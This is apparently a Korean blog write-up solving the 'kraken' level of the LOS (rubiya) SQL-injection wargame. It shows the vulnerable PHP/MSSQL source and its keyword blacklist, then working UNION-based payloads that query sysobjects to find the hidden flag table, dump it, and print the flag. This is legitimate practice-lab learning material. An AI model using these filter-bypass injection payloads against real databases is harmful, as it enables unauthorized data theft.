<코드 분석>
<?php
include "./config.php";
login_chk();
$db = mssql_connect("kraken");
if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['id']) echo "<h2>{$result['id']}</h2>";
if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
master 랑 information ; 이 필터링 당하는 항목이다.
krakenFlag 값을 알아내면 문제가 풀리는데, Flag 값이 다른 테이블 상에 존재하낟고 힌트가 나온다.
echo 해주는 부분에 잘 띄워보면 되겠다.
<해설>
전에도 비슷한 문제를 본거 같은데, revenant였나…
그때는 에러 메시지를 통해서 칼럼 이름을 확인할 수 있었다.
이번에는 에러 메시지를 볼수가 없으니 다른 방법을 찾아봐야겠다.
infromation_schema.table 에서 확인할 수도 있는데 역시 필터링 항목에 들어가 있다.
링크에 sysobjects 설명이 되어있다.
mssql 상에서 다른 것을 쓸수 있나 찾아봤는데 sysobjects 라는것을 찾았다.
xtype으로 U 옵션을 주면 테이블 이름을 조회할 수 있다고 한다.
이름이라서 그런지 column 이름은 name 이다.
?id=' union select name from sysobjects where xtype='U'--
a_dummy_table 이 나오는데, 원하는 형식은 flag_{hash} 꼴이니까 순서에서 밀리나보다… where 절을 잘 활용해보자.
?id=' union select name from sysobjects where xtype='U' and name like 'flag%'--
이제 이름을 찾았으니 거의다 했다
flag값을 찾아보자.
?id=' union select * from flag_ccdfe62b--
FLAG{a0819fc56beae985bac7d175c974cd27}
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Cerberus (0) | 2020.05.21 |
---|---|
LOS -rubiya : Darkknight (0) | 2020.05.20 |
LOS -rubiya : Mummy (0) | 2020.05.18 |
LOS -rubiya : Nessie (0) | 2020.05.15 |
LOS -rubiya : revenant (0) | 2020.05.14 |